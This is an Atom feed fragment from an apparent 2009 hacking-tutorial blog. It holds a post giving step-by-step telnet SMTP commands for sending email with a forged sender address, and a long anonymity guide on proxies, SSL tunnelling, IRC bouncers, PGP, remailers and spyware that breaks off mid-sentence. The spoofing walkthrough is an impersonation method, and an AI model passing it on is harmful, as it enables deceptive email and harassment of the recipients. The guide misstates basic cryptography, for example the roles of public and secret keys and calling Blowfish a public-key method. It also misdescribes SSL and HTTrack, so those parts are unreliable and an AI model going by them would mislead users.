&lt;a href="http://feedads.g.doubleclick.net/~a/nHM60pwTH_WSgUJSLtjnmpswmAA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/nHM60pwTH_WSgUJSLtjnmpswmAA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/594a-wE7FLU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/6461779789280849324/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/ansibombs-ii-tips-and-techniques.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/6461779789280849324?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/6461779789280849324?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/594a-wE7FLU/ansibombs-ii-tips-and-techniques.html" title="ANSIBombs II Tips And Techniques" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/ansibombs-ii-tips-and-techniques.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0YDSH4zfSp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-786141863839824601</id><published>2009-11-03T02:44:00.001-08:00</published><updated>2009-11-03T02:46:19.085-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:46:19.085-08:00</app:edited><title>ANONYMOUS emails</title><content type="html">Welcome to Hackerdevil's guide on how to send ANONYMOUS e-mails to someone without a prog.
&lt;br /&gt;
&lt;br /&gt; I am Hackerdevil and i am going to explain ya a way to send home-made e-mails. I mean its a way to send Annonimous e-mails without a program, it doesn't take
&lt;br /&gt;to much time and its cool and you can have more knowledge than with a stupid program that does all by itself.
&lt;br /&gt;
&lt;br /&gt;This way (to hackers) is old what as you are newby to this stuff, perhaps you may like to know how these anonymailers work, (home-made)
&lt;br /&gt;
&lt;br /&gt;Well.....
&lt;br /&gt;Go to Start, then Run...
&lt;br /&gt;You have to Telnet (Xserver) on port 25
&lt;br /&gt;
&lt;br /&gt;Well, (In this Xserver) you have to put the name of a server without the ( ) of course...
&lt;br /&gt;Put in iname.com in (Xserver) because it always work it is a server with many bugs in it.
&lt;br /&gt;(25) mail port.
&lt;br /&gt;
&lt;br /&gt;So now we are like this.
&lt;br /&gt;
&lt;br /&gt;telnet iname.com 25
&lt;br /&gt;
&lt;br /&gt;and then you hit enter
&lt;br /&gt;Then When you have telnet open put the following like it is written
&lt;br /&gt;
&lt;br /&gt;helo
&lt;br /&gt;
&lt;br /&gt;and the machine will reply with smth.
&lt;br /&gt;
&lt;br /&gt;Notice for newbies: If you do not see what you are writing go to Terminal's menu (in telnet) then to Preferences and in the Terminal Options you tick all opctions available and in the emulation menu that's the following one you have to tick the second option.
&lt;br /&gt;Now you will se what you are writing.
&lt;br /&gt;
&lt;br /&gt;then you put:
&lt;br /&gt;
&lt;br /&gt;mail from:&lt;whoeveryouwant@whetheveryouwant.whetever.whatever&gt; and so on...
&lt;br /&gt;If you make an error start all over again
&lt;br /&gt;
&lt;br /&gt;Example:
&lt;br /&gt;mail from:&lt;askbill@microsoft.com.net&gt;
&lt;br /&gt;
&lt;br /&gt;You hit enter and then you put:
&lt;br /&gt;
&lt;br /&gt;rcpt to:&lt;lamer@lamer'sworld.com&gt;
&lt;br /&gt;This one has to be an existance address as you are mailing anonymously to him.
&lt;br /&gt;
&lt;br /&gt;Then you hit enter
&lt;br /&gt;And you type
&lt;br /&gt;Data
&lt;br /&gt;and hit enter once more
&lt;br /&gt;
&lt;br /&gt;Then you write
&lt;br /&gt;
&lt;br /&gt;Subject:whetever
&lt;br /&gt;
&lt;br /&gt;And you hit enter
&lt;br /&gt;
&lt;br /&gt;you write your mail
&lt;br /&gt;
&lt;br /&gt;hit enter again (boring)
&lt;br /&gt;
&lt;br /&gt;you put a simple:
&lt;br /&gt;.
&lt;br /&gt;
&lt;br /&gt;Yes you don't see it its the little fucking point!
&lt;br /&gt;and hit enter
&lt;br /&gt;Finally you write
&lt;br /&gt;quit
&lt;br /&gt;hit enter one more time
&lt;br /&gt;and it's done
&lt;br /&gt;
&lt;br /&gt;look:Try first do it with yourself I mean mail annonymously yourself so you can test it!
&lt;br /&gt;Don't be asshole and write fucking e-mails to big corps. bec' its symbol of stupidity and childhood and it has very very effect on Hackers they will treat you as a Lamer!
&lt;br /&gt;
&lt;br /&gt;Really i don't know why i wrote this fucking disclaimer, but i don't want to feel guilty if you get into trouble....
&lt;br /&gt;
&lt;br /&gt;Disclamer:Hackerdevil is not responsable for whetever you do with this info. you can destribute this but you are totally forbidden to take out the "By Hackerdevil" line. You can't modify or customize this text and i am also not responsable if you send an e-mail to an important guy and insult him, and i rectly advise you that this is  for educational porpouses only my idea is for learning and having more knowledge, you can not get busted with this stuff but i don't take care if it anyway happen to you.  If this method is new for ya probably you aren't a hacker so think that if someone wrote you an e-mail "yourbestfirend@aol.com"  insulting you and it wasn't him it but was some guy using a program or this info you won't like it.so Use this method if you don't care a a damn hell or if you like that someone insult you.
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;By Hackerdevil
&lt;br /&gt;
&lt;br /&gt;hackerdevil@iname.com
&lt;br /&gt;www.angelfire.com/ar/HDanzi/index.html
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-786141863839824601?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/KighsXZOEt-3HMrAhuhO-2vcQ0s/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KighsXZOEt-3HMrAhuhO-2vcQ0s/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/KighsXZOEt-3HMrAhuhO-2vcQ0s/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/KighsXZOEt-3HMrAhuhO-2vcQ0s/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/66jnPKT-PQw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/786141863839824601/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/anonymous-emails.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/786141863839824601?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/786141863839824601?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/66jnPKT-PQw/anonymous-emails.html" title="ANONYMOUS emails" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/anonymous-emails.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk4DRHc6fyp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-5004381679609401566</id><published>2009-11-03T02:41:00.000-08:00</published><updated>2009-11-03T02:42:55.917-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T02:42:55.917-08:00</app:edited><title>Anonymity complete GUIDE By Theraider &amp; Dangerous R.</title><content type="html">&lt;span style="font-weight:bold;"&gt;Anonymity on the web&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[ t a b l e o f c o n t e n t s ] &lt;br /&gt;01 - table of contents&lt;br /&gt;02 - introduction&lt;br /&gt;03 - first tips&lt;br /&gt;04 - about proxies&lt;br /&gt;05 - cookies&lt;br /&gt;06 - ftp transfers&lt;br /&gt;07 - secure transactions&lt;br /&gt;08 - SSL tunelling&lt;br /&gt;09 - anonymity on irc&lt;br /&gt;10 - mail crypto (and pgp usage)&lt;br /&gt;11 - icq privacy&lt;br /&gt;12 - spyware&lt;br /&gt;13 - cleaning tracks&lt;br /&gt;14 - ending words &lt;br /&gt;&lt;br /&gt;[ introduction ]&lt;br /&gt;Nowadays, everyone wants privacy on the web, because no matter where you go, someone could be watching you. Someone like your employer, someone trying to hack your system, companies gathering all your info to sell to yet other companies, or even the government, may be on your track while you peacefully surf the web. Thus, anonymity on the web means being able tu use all of its services with no concern about someone snooping on your data. &lt;br /&gt;Your computer being connected to the net has an IP [Internet Protocol] address. If you have a dial-up connection, then your IP changes every time you connect to the internet (this is not always true, though. There are dialup isps, specially for university students, that do have static ips). Cable modems and DSL connections have a static IP, which means that the IP address does not change. One of the goals of getting anonymous is to make sure your ip, either static or dynamic) isn't revealed to other users of the internet, or to server administrators of the servers you roam around when using internet services. &lt;br /&gt;This text tries to give you some hints on how to maintain your anonimity on the web. Some of the hints may sound banal, but think of, if you really abide them in every situation. &lt;br /&gt;&lt;br /&gt;[ first tips ]&lt;br /&gt;When chatting on IRC, ICQ, AIM (etc..), do not give out personal information about yourself, where you live, work, etc. &lt;br /&gt;Do not use your primary email address (the one your ISP gave you) anywhere except to family members, close friends or trusted people. Instead create for yourself a web-based email account such as yahoo, hotmail, dynamitemail, mail.com, etc. and use this e-mail address to signing up for services, when in the need to give your mail to download something, or to publish on your homepage. &lt;br /&gt;When signing up for services on the web, don't give your real information like address, phone number and such unless you really need to do so. This is the kind of information that information gathering companies like to get, so that they can sell out and fill your mailbox with spam. &lt;br /&gt;Use an anonymous proxy to surf the web. This makes sure your ip doesn't get stored on the webserver logs. (Webservers log every GET request made, together with date, hour, and IP. This is where the proxy comes in. They get the ip from the proxy, not yours) &lt;br /&gt;Use a bouncer to connect to IRC networks, in case you don't trust the administrators, or the other users. A bouncer is a program that sits on a permanently connected machine that allows you to connect there, and from there to the irc server, just like a proxy works for webservers. &lt;br /&gt;Use anonymous remailers to send out your e-mails. &lt;br /&gt;Cryptography can also help you by making sure the material you send out the web, like by email, etc, is cyphered, not allowing anyone that doesn't have your key to read it (in key-based cryptography). Programs like PGP (pretty good privacy) are toolkits with all you need to cypher and uncypher your stuff. &lt;br /&gt;Delete traces of your work with the computer including history files, cache or backup files. &lt;br /&gt;[ about proxies ]&lt;br /&gt;Proxies are caches that relay data. When you configure your web browser to use a proxy, it never connects to the URL. Instead it always connects to the proxy server, and asks it to get the URL for you. It works similarly with other type of services such as IRC, ICQ etc. There'll won't be direct connection between you and the server, so your real IP address won't be revealed to the server. When you view a website on the server, the server won't see your IP. Some of web proxies do not support forwarding of the cookies whose support is required by some of the websites (for ex. Hotmail). &lt;br /&gt;Here are some anonymous proxies that you can use to surf anonymously (notice that some of these may be a payed service): &lt;br /&gt;Aixs - http://aixs.net/&lt;br /&gt;Rewebber - http://www.anon.de/&lt;br /&gt;Anonymizer - http://www.anonymizer.com/&lt;br /&gt;The Cloak - http://www.the-cloak.com/ &lt;br /&gt;You'll highly probably find many websites that provide the lists of unauthorised proxies and remailers . Such lists are being compiled usually with the help of port scanners or exploit scanners, scanning for computers with wingate or other proxies' backdoors. Using these proxies is illegal, and is being considered as unauthorized access of computer. If you get such list to your hands, check if the info is legal or compiled by script kiddie, and act acordingly. &lt;br /&gt;If you anyhow decide not to use proxy, at least do not forget to remove your personal information from your browser. After you remove details like your name and e-mail address from your browser, the only info a Web site can sniff out is your ISP's address and geographical location. Also Java and JavaScript applets can take control of your browser unexpectedly, and if you are surfing to unknown and potentially dangerous places you should be aware of that. There are exploitable browser bugs (mainly Internet explorer ones) reported ever week. &lt;br /&gt;&lt;br /&gt;[ cookies ]&lt;br /&gt;Maybe you're not aware of the fact that if you have the "allow cookies" feature in your browser on, websites can store all sorts of information on your harddrive. Cookies are small files that contain various kind of information that can be read bt websites when you visit them. The usual usage is to track demographics for advertising agencies that want to see just what kinds of consumers a certain site is attracting. Web sites also use cookies to keep your account information up-to-date. Then for instance when you visit your e-mail webbased account without being unlogged some hours later, you find yourself being logged on, even if you turn off your computer. Your login and password was simply stored on your harddrive in cookie file. This is security threat, in case that there is more persons who have the access to your computer. &lt;br /&gt;Most of the browsers offer the possiblity to turn off the cookies, but some of sites like Hotmail.com require them to be turned on. In case you decided to allow cookies, at least never forget to log off from the websites when you're finishing visiting them. &lt;br /&gt;&lt;br /&gt;[ ftp transfers ]&lt;br /&gt;When using an FTP client program to download files, assure yourself, that it's giving a bogus password, like guest@unknown.com, not your real one. If your browser lets you, turn off the feature that sends your e-mail address as a password for anonymous FTP sessions. &lt;br /&gt;&lt;br /&gt;[ secure transaction ]&lt;br /&gt;Everything being sent from the web server to your browser is usually in plain text format. That means, all transferred information can be easily sniffed on the route. Some of the web servers support SSL (which stands for Secure Socket Layer). To view and use these websites you'll need SSL support in your browser as well. You recognize, that the connection is encrypted, if URL starts with https:// instead of usual http://. Never use web server without SSL for sending or receiving sensitive private or business information (credit card numbers, passwords etc.) &lt;br /&gt;&lt;br /&gt;[ SSL tunelling ]&lt;br /&gt;What is SSL? &lt;br /&gt;SSL stands for Secure Socket Layer. The ?Secure? implies an encryption, while Socket Layer denotes an addition to the Window Socket system, Winsock. For those that don?t know, a Socket is an attachment to a port on a system. You can have many sockets on one port, providing they are non-blocking (allowing control to pass through to another socket aware application which wishes to connect to that port). &lt;br /&gt;A Secure Socket Layer means that any sockets under it, are both secure and safe. The idea behind SSL was to provide an encrypted, and thus, secure route for traffic along a socket based system, such as TCP/IP (the internet protocol). Doing this allows security in credit card transactions on the Internet, encrypted and protected communiqué along a data line, and overall peace of mind. &lt;br /&gt;The SSL uses an encryption standard developed by RSA. RSA are a world respected American organisation that specializes in encryption and data security. Initially, they developed a cipher length of only 40 bits, for use with the Secure Socket Layer, this was considered weak and therefore a longer much more complicated encryption cipher was created, 128 bits. The reasoning behind it was simple: it needs to be secure. &lt;br /&gt;The RSA site puts the advantage of a longer encryption length pretty clearly: because 40-bit encryption is considered to be relatively weak. 128-bits is about 309 septillion times ( 309,485,000,000,000,000,000,000,000 ) larger than 40-bits. This would mean it would take that many times longer to crack or break 128-bit encryption than it would 40-bit. &lt;br /&gt;If you want more information on the technicalities or RSA?s SSL encryption engine, visit their site: http://www.rsasecurity.com/standards/ssl. &lt;br /&gt;But what does all this encryption and security have to do with you? &lt;br /&gt;Well, that?s a simple question. No matter how hard you try, at times your privacy will need to be knowingly invaded so you can make use of the product offered for doing so. If you think about food, for example, one cannot eat without swallowing. When we wish to make a transaction or view a site on the internet, where we have to give enough information away so that it happens, we also want to be assured no one else along the line gathers that data. An encrypted session would mean our data is not at the hands of any privacy perpetrators unless they knew how to decode it ? and the only ones in the know, are those you specifically wish. SSL uses public key encryption as explained in the PGP section. &lt;br /&gt;To put this at a head: if you use an encrypted connection or session, you can be relatively assured that there are no prying eyes along the way. &lt;br /&gt;And how do I implement SSL with SSL Tunnelling? &lt;br /&gt;We know that a Secure Socket Layer is safe, but what we don?t know is what a Tunnel is. In the most simplistic form, a tunnel is a proxy. Like proxy voting in general elections, a tunnel will relay your data back and forth for you. You may be aware though, that there are already ?proxies? out there, and yes, that is true. Tunnelling is done via proxies, but it is not considered to be the same as a standard proxy relaying simply because it isn?t. &lt;br /&gt;Tunnelling is very special kind of proxy relay, in that it can, and does relay data without interfering. It does this transparently and without grievance or any care for what is passing its way. &lt;br /&gt;Now, if we add this ability to ?tunnel? data, any data, in a pipe, to the Secure Sockets Layer, we have a closed connection that is independent of the software carrying it; and something that is also encrypted. For those of you wanting to know a little more about the technicalities, the SSL layer is also classless in the sense it does not interferer with the data passed back and forth ? after all, it is encrypted and impossible to tamper with. That attribute means an SSL capable proxy is able to transfer data out of its ?proxied? connection to the destination required. &lt;br /&gt;So to sum up, we have both a secure connection that does the job and relays things in the right direction; and we have direct tunnel that doesn?t care what we pass through it. Two very useful, and almost blind entities. All we need now is a secure proxy that we can use as the tunnel. &lt;br /&gt;Proxies: &lt;br /&gt;Secure proxies are alike standard proxies. We can either use an HTTP base SSL equipped proxy - one specifically designed for security HTTP traffic, but because of the ignorant nature of SSL communication, it can be bent to any needs ? or we can use a proper SSL service designed for our connection ? like you would use a secure NNTP (news) program with a secure proxy on port 563 instead of taking our long way - which would probably work as well. &lt;br /&gt;A secure HTTP proxy operates on port 443. Host proxies are not public, that means they operate for, and allow only traffic from their subnet or the ISP that operates them ? but, there are many badly configured HTTP proxies and some public ones out there. The use of a program called HTTrack (available on Neworder) will aid you in scanning and searching for proxies on your network or anywhere on the Internet if your ISP does not provide you with one. &lt;br /&gt;Neworder also features a number of sites dedicated to listing public proxies in the Anonymity section. While it?s often hard to find a suitable fast proxy, it?s worth the effort when you get one. &lt;br /&gt;So how can I secure my connections with SSL Tunnelling? &lt;br /&gt;That?s a big question, and beyond the scope out this tuition as it must come to and end. I can however, point you in the right direction of two resources that will aid you in tunnelling both IRC, and most other connections via a HTTP proxy. &lt;br /&gt;For Windows, the first stop would be http://www.totalrc.net?s Socks2HTTP. This is an SSL tunnelling program that turns a normal socks proxy connection into a tunnelled SSL connection. &lt;br /&gt;The second stop, for both Windows and Unix is stunnel. Stunnel is a GNU kit developed for SSL tunnelling any connection. It is available for compile and download as binary here: Stunnel homepage - http://mike.daewoo.com.pl/computer/stunnel &lt;br /&gt;&lt;br /&gt;[ anonymity on irc ]&lt;br /&gt;A BNC, or a Bouncer - is used in conjunction with IRC as a way of hiding your host when people /whois you. On most IRC networks, your host isnt masked when you whois, meaning the entire IP appears, like 194.2.0.21, which can be resolved. On other networks, your host might be masked, like IRCnetwork-0.1 but it can still give valuable information, like nationality if your host is not a IP, but a DNS resolved host, like my.host.cn would be masked to IRCnetwork-host.cn but this would still tell the person who whoised you, that you are from China. &lt;br /&gt;To keep information such as this hidden from the other users on an IRC network, many people use a Bouncer, which is actually just a Proxy. Let us first draw a schematic of how a normal connection would look, with and without a BNC installed. &lt;br /&gt;Without a BNC: &lt;br /&gt;your.host.cn &lt;&lt;--&gt;&gt; irc.box.sk &lt;br /&gt;With a BNC: &lt;br /&gt;your.host.cn &lt;&lt;--&gt;&gt; my.shell.com &lt;&lt;--&gt;&gt; irc.box.sk &lt;br /&gt;You will notice the difference between the two. When you have a BNC installed, a shell functions as a link between you and the IRC server (irc.box.sk as an example). You install a BNC on a shell, and set a port for it to listen for connections on. You then login to the shell with your IRC client, BitchX/Xchat/mIRC, and then it will login to the IRC server you specify - irc.box.sk in this case. In affect, this changes your host, in that it is my.shell.com that makes all the requests to irc.box.sk, and irc.box.sk doesn't know of your.host.cn, it has never even made contact with it. &lt;br /&gt;In that way, depending on what host your shell has, you can login to IRC with a host like i.rule.com, these vhosts are then actually just an alias for your own machine, your.host.cn, and it is all completely transparent to the IRC server. &lt;br /&gt;Many servers have sock bots that check for socket connections. These aren't BNC connections, and BNC cannot be tested using a simple bot, unless your shell has a socket port open (normally 1080) it will let you in with no problem at all, the shell is not acting as a proxy like you would expect, but more as a simple IRC proxy, or an IRC router. In one way, the BNC just changes the packet and sends it on, like: &lt;br /&gt;to: my.shell.com -&gt; to: irc.box.sk -&gt; to: my.shell.com from: your.host.cn &lt;- from: my.shell.com &lt;- from: irc.box.sk &lt;br /&gt;The BNC simply swaps the host of your packet, saying it comes from my.shell.com. But also be aware, that your own machine is perfectly aware that it has a connection established with my.shell.com, and that YOU know that you are connected to irc.box.sk. Some BNCs are used in IRC networks, to simulate one host. If you had a global IRC network, all linked together, you could have a local server called: cn.myircnetwork.com which Chinese users would log into. It would then Bounce them to the actual network server, in effect making all users from china have the same host - cn.myircnetwork.com, masking their hosts. Of course, you could change the host too - so it didn't reveal the nationality, but it is a nice gesture of some networks, that they mask all hosts from everyone, but it makes life hard for IRCops on the network - but its a small price to pay for privacy. &lt;br /&gt;Note: Even if you do use IRC bouncer, within DCC transfers or chat, your IP will be revealed, because DCC requires direct IP to IP connection. Usual mistake of IRC user is to have DCC auto-reply turned on. For an attacker is then easy to DCC chat you or offer you a file, and when IRC clients are connected, he can find out your IP address in the list of his TCP/IP connections (netstat). &lt;br /&gt;How do I get IRC bouncer? &lt;br /&gt;you download and install bouncer software, or get someone to install it for you (probably the most known and best bouncer available is BNC, homepage : http://gotbnc.com/) &lt;br /&gt;you configure and start the software - in case it's bouncer at Unix machine, you start it on your shell account (let's say shell.somewhere.com) &lt;br /&gt;you open IRC and connect to the bouncer at shell.somewhere.com on the port you told it to start on. &lt;br /&gt;all depending on the setup, you may have to tell it your password and tell it where to connect, and you're now on irc as shell.somewhere.com instead of your regular hostname &lt;br /&gt;[ mail crypto ]&lt;br /&gt;Usually the safest way to ensure that your e-mail won't be read by unauthorised persons is to encrypt them. To be compatible with the rest of the world I'd suggest to use free PGP software. &lt;br /&gt;PGP (Pretty Good Privacy) is a piece of software, used to ensure that a message/file has not been changed, has not been read, and comes from the person you think it comes from. Download location: http://www.pgpi.org/ &lt;br /&gt;How does pgp Work? &lt;br /&gt;The whole idea behind PGP is that of Public and Private keys. To explain the algorithm PGP uses in order to encrypt the message would take too much time, and is beyond the scope of this, we will however look at how it ensures the integrity of the document. A user has a password, this password has to be chosen correctly, so don't choose passwords like "pop" or "iloveyou", this will make an attack more likely to succeed. The password is used to create a private key, and a public key - the algorithm ensures that you can not use the public key to make the private key. The public key is sent to a server, or to the people you send e-mails/files, and you keep the private key secret. &lt;br /&gt;We will use a few terms and people in this introduction, they are: Pk - Public Key, Sk - Secret Key (private key). Adam will send an e-mail to Eve, and Rita will be a person in between, who we are trying to hide the content of the mail from. Rita will intercept the email (PGP doesn't ensure that Rita cant get her hands on the package, she can - its not a secure line like other technologies) and try to read it/modify it. Adam has a Sk1 and a Pk1, and Eve has a Sk2 and a Pk2. Both Adam, Eve, and Rita have Pk1 and Pk2, but Sk1 and Sk2 are presumed to be totally secret. First, here is a schematic of how it all looks: &lt;br /&gt;PUBLIC SERVER&lt;br /&gt;Pk1, Pk2&lt;br /&gt;&lt;br /&gt;Adam &lt;------------------------------------------&gt; Eve Sk1 ^ Sk2&lt;br /&gt;|&lt;br /&gt;|&lt;br /&gt;|&lt;br /&gt;|&lt;br /&gt;Rita&lt;br /&gt;So Adam wants to send a packet to Eve, without Rite reading it, or editing it. There are three things that we need to make sure: &lt;br /&gt;That Rita cant read the text without permission &lt;br /&gt;That Rita cant edit it in any way, without Eve and Adam knowing &lt;br /&gt;That Even knows that Adam sent it &lt;br /&gt;First thing is making sure Rita cant read the text. Adam does this by encrypting the message with Eves Pk2 which he has found on the server. You can only Encrypt with the Pk, not decrypt, so Rita wont be able to read the data unless Eve has revealed her Sk2. &lt;br /&gt;The second thing to make sure, is that Rite cant edit the message. Adam creates a hash from the message he has created. The hash can be encrypted using Pk2, or sent as it is. When Eve gets the message, she decrypts it, and creates a hash herself, then checks if the hashes are the same - if they are, the message is the same, if its different, something has changed in the message. The Hash is very secure, and it is in theory impossible to make a change, and get the hash to remain the same. &lt;br /&gt;The third, and probably one of the most important things to ensure, is that Rita hasn't grabbed the mail, made a new one, and sent it in Adams name. We can ensure this by using Public key and Private key too. The Sk can be used both to encrypt and to decrypt, but Pk can only encrypt. When Adam normally sends a message M to Eve, he creates the encrypted message C by doing: C=Pk2(M). This means, Adam uses Pk2 (Eves Pk) on message M to create message C. Image this: Adam can encrypt the message with his Sk1, because it is impossible to derive Sk1 from the message, this is secure and without any danger, as long as no one knows the password used to make Sk1 with. If the message M is encrypted with Sk1, he gets a message called X, Eve can decrypt the message using Pk1 which is public. If the message decrypts to something that makes sence, then it must be from Adam, because Sk1 is considered as secret, and only Adam knows it. &lt;br /&gt;The entire process looks like this, when sending message C: Adam signs his digital signature on C, and hashes C: X=Sk1(C). Then Adam encrypts the message for Eve: M=Pk2(X). The message is sent, and looks all in all like this: M=Pk2(Sk1(C)). Rita can intercept M, but not decrypt, edit, or resend it. Eve receives M, and decrypts it: X=Sk2(M). Then she checks the digital signature: C=Pk1(X) and checks the Hash on the way. &lt;br /&gt;This way, the PGP Public/Private key system ensures integrity and security of the document e-mail, but PGP is not the only algorithm that uses the Public/Private key theory, Blowfish, and RSA are among the many other technologies that use it, PGP is just the most popular for e-mail encryption, but many don't trust it because of rumors of backdoors by the NSA (I don't know if its true though). PGP comes in a commercial, and a freeware version for Windows, and is available for Linux as well. What ever encryption you use, it will be better than none. &lt;br /&gt;&lt;br /&gt;[ anonymous remailers ]&lt;br /&gt;Remailers are programs accessible on the Internet that route email and USENET postings anonymously (i.e., the recipient cannot determine who sent the email or posted the article). This way the sender can't be traced back by routing headers included in the e-mail. There are different classes of remailers, which allow anonymous exchange of email and anonymous posting to USENET and often many other useful features. &lt;br /&gt;Resources: &lt;br /&gt;Chain is a menu-driven remailer-chaining script: &lt;br /&gt;http://www.obscura.com/crypto.html &lt;br /&gt;Raph Levien's remailer availability page offers comprehensive information about the subject &lt;br /&gt;http://www.sendfakemail.com/~raph/remailer-list.html &lt;br /&gt;The Cypherpunks Remailers are being developed to provide a secure means of providing anonymity on the nets. Here you can find out about the available remailers, those which have been standard in existance for a long time as well as the new experimental remailers and anonymous servers. &lt;br /&gt;http://www.csua.berkeley.edu/cypherpunks/remailer/ &lt;br /&gt;&lt;br /&gt;[ icq privacy ]&lt;br /&gt;How can I keep my privacy at ICQ? &lt;br /&gt;Send and receive messages via ICQ server, not directly. Every direct connection enables attacker to learn your IP. Encrypt your messages by dedicated software, encryption addons. &lt;br /&gt;How to encrypt ICQ messages? &lt;br /&gt;There are addons which enhance your ICQ with possibility to encrypt outcoming messages. The user on the other side needs to have the addon as well in order to decrypt your message. &lt;br /&gt;Resources: &lt;br /&gt;http://www.encrsoft.com/products/tsm.html &lt;br /&gt;Top Secret Messenger (TSM) - trial version has only weak 8-bit encryption &lt;br /&gt;http://www.planet-express.com/sven/technical/dev/chatbuddy/default.html &lt;br /&gt;Chat Buddy - a freeware Windows application for encrypting chat sessions &lt;br /&gt;http://www.algonet.se/~henisak/icq/encrypt-v5.txt &lt;br /&gt;how encryption works in ICQ protocol v5 &lt;br /&gt;&lt;br /&gt;[ spyware ]&lt;br /&gt;As we all work hard to become more savvy about protecting our personal information and keeping as anonymous as possible on the web, advertising companies are working just as hard to come up with new ways of getting our personal information. One of the ways they accomplish this is through spyware. &lt;br /&gt;Spyware are applications that are bundled along with many programs that you download for free. Their function is to gather personal information about you and relay it back to advertising firms. The information is then used either to offer you products or sold to other advertisers, so they can promote THEIR products. They claim this is all they do with this information, but the problem is nobody really knows for sure. &lt;br /&gt;Spyware fits the classic definition of a trojan, as it is something that you did not bargain for+when you agreed to download the product. Not only is spyware an invasion of your privacy, but (especially if you have a few different kinds on your machine) it can also chew up bandwidth, making your internet connection slower. &lt;br /&gt;Sometimes, these spies really are harmless, merely connecting back to the home server to deliver+you more advertising. Some, like Gator for instance, send out detailed information about your surfing habits, operating system, income, age demographic et cetera. &lt;br /&gt;Avoiding spyware &lt;br /&gt;Avoiding spyware is getting harder and harder, as more software distributors are choosing it as a method of profiting from freeware and shareware distributions. Be leery of programs with cute+little icons like Gator. Also, watch those Napster wannabes like AudioGalaxy, Limewire, and Kazaa. I've yet to find one that didn't include spyware. Before you download, check to see if the program is known to contain spyware. &lt;br /&gt;For a list of most known spyware, the best I've found is here:&lt;br /&gt;http://www.infoforce.qc.ca/spyware/enknownlistfrm.html &lt;br /&gt;Getting rid of spyware &lt;br /&gt;In most cases, you can remove the spyware from your system and still use the application you downloaded. In the case of Gator and Comet Cursor, the the whole program is spyware an it must be completely removed to stop the spying. &lt;br /&gt;There are several ways to get rid of spyware on your system. You can use a firewall to monitor outgoing connections. The programmers that put these things together, however, are getting sneakier and sneakier about getting them to circumvent firewalls. Comet Cursor, for instance uses an HTTP post command to connect without the intervention of a firewall. You can also install a registry monitor such as Regmon to monitor your registry for unwanted registry registry changes, but this is not foolproof either. &lt;br /&gt;Probably the best method of removal is to download a spyware removal program and run it like it was a virus scanner. The best examples of these programs are:&lt;br /&gt;Lavasoft's Adaware. Available at http://www.lavasoftusa.com/ Or professional cybernut Steve Gibson's OptOut. Available at: http://grc.com/optout.htm Both of these programs are free and are updated regularly. &lt;br /&gt;Here are some links, if you wish to learn more about spyware:&lt;br /&gt;http://www.spychecker.com/&lt;br /&gt;http://grc.com/optout.htm&lt;br /&gt;http://www.thebee.com/bweb/iinfo200.htm &lt;br /&gt;&lt;br /&gt;[ cleaning tracks ]&lt;br /&gt;Resources: &lt;br /&gt;Burnt Cookies - allows automatic detection and optional deletion of Cookies deposited by Banner Ad web-sites &lt;br /&gt;http://www.andersson-design.com/bcookies/index.shtml &lt;br /&gt;Surfsecret - automatically kills files like your Internet cache files, cookies, history, temporary files, recent documents, and the contents of the Recycle Bin. &lt;br /&gt;http://www.surfsecret.com/ &lt;br /&gt;Note: One sidenote on cleaning tracks. When you delete some files on your machine, these aren't actually deleted. Only the reference to their location in the hard drive is deleted, which makes the OS think that that location on the HD is free and ready to take things. Thus, there are ways to recover data even after you delete them. &lt;br /&gt;There are however, several ways to 